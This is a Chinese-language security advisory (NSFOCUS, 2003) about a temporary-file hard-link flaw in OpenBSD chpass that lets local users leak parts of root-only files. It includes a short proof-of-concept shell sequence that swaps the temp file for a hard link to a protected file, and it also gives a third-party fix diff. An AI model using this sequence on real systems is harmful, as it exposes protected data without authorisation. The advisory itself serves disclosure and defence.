首页 -> 安全研究

安全研究

安全漏洞
OpenBSD CHPass不安全临时文件符号链接漏洞

发布日期:2003-02-03
更新日期:2003-02-07

受影响系统:
OpenBSD chpass
    - OpenBSD 3.2
    - OpenBSD 3.1
    - OpenBSD 3.0
    - OpenBSD 2.9
    - OpenBSD 2.8
    - OpenBSD 2.7
    - OpenBSD 2.6
描述:
BUGTRAQ  ID: 6748

OpenBSD是一款开放源代码的UNIX操作系统,提供用于编辑用户数据信息的工具chpass(1)(或硬连接到此程序的chfn和chsh)。

chpass不正确处理临时文件,本地攻击者可以利用这个漏洞显示系统任意文件中的部分内容。

chpass会把用户数据库信息写到临时文件中以供编辑器修改,当编辑器运行时,用户可以挂起编辑器(^Z),并使用硬连接指向的任意文件来代替临时文件,然后在恢复编辑器到前台,以不保存方式退出编辑器,让chpass进行文件的其他操作,在这时候chpass打开文件,会以如下方式读取文件:

-如果文件超过2048字节,将放弃读取。
-如果文件以'#'开头,忽略。
-其他的检查行的有效性。

如果发现检查的行合法,chpass就会处理下一个。但是如果某行不合法及以"shell:"开头,并剩余的字符是可打印字符,当chpass处理时就会显示错误消息,但错误消息中包含文件内容,造成硬连接指向的敏感文件内容被泄露。

<*来源:Marc Bevand (bevand_m@epita.fr
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104429337517577&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Marc Bevand (bevand_m@epita.fr)提供了如下测试方法:

以root权限建立如下文件:

# echo "shell: secret_data" >/tmp/sec
# chmod 600 /tmp/sec

然后以普通用户运行chpass(假定编辑的临时文件为``/var/tmp/pw.Loi22925''):

$ chpass                # ^Z in the editor
[1]+  Stopped                 chpass
$ rm /var/tmp/pw.Loi22925
$ ln /tmp/sec /var/tmp/pw.Loi22925
$ fg                    # then quit the editor
chpass
chpass: secret_data: non-standard shell

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* Marc Bevand <bevand_m@epita.fr>提供了如下第三方补丁程序:

http://www.epita.fr/~bevand_m/asa/asa-0001.openbsd-chpass.cvs-diff

---8<-------------- asa-0001.openbsd-chpass.cvs-diff -----------------
Index: edit.c
===================================================================
RCS file: /cvs/src/usr.bin/chpass/edit.c,v
retrieving revision 1.23
diff -u -r1.23 edit.c
--- edit.c    31 Jul 2002 22:08:42 -0000    1.23
+++ edit.c    2 Feb 2003 18:34:02 -0000
@@ -48,6 +48,7 @@
#include <ctype.h>
#include <err.h>
#include <errno.h>
+#include <fcntl.h>
#include <paths.h>
#include <pwd.h>
#include <stdio.h>
@@ -152,12 +153,14 @@
    char *p, *q;
    ENTRY *ep;
    FILE *fp;
+    int fd;

-    if (!(fp = fopen(tempname, "r")))
+    if ((fd = open(tempname, O_RDONLY|O_NOFOLLOW)) == -1 ||
+        (fp = fdopen(fd, "r")) == NULL)
        pw_error(tempname, 1, 1);
-    if (fstat(fileno(fp), &sb))
+    if (fstat(fd, &sb))
        pw_error(tempname, 1, 1);
-    if (sb.st_size == 0) {
+    if (sb.st_size == 0 || sb.st_nlink != 1) {
        warnx("corrupted temporary file");
        goto bad;
    }

---8<-------------- asa-0001.openbsd-chpass.cvs-diff -----------------

厂商补丁:

OpenBSD
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.openbsd.org/security.html

浏览次数:2925
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障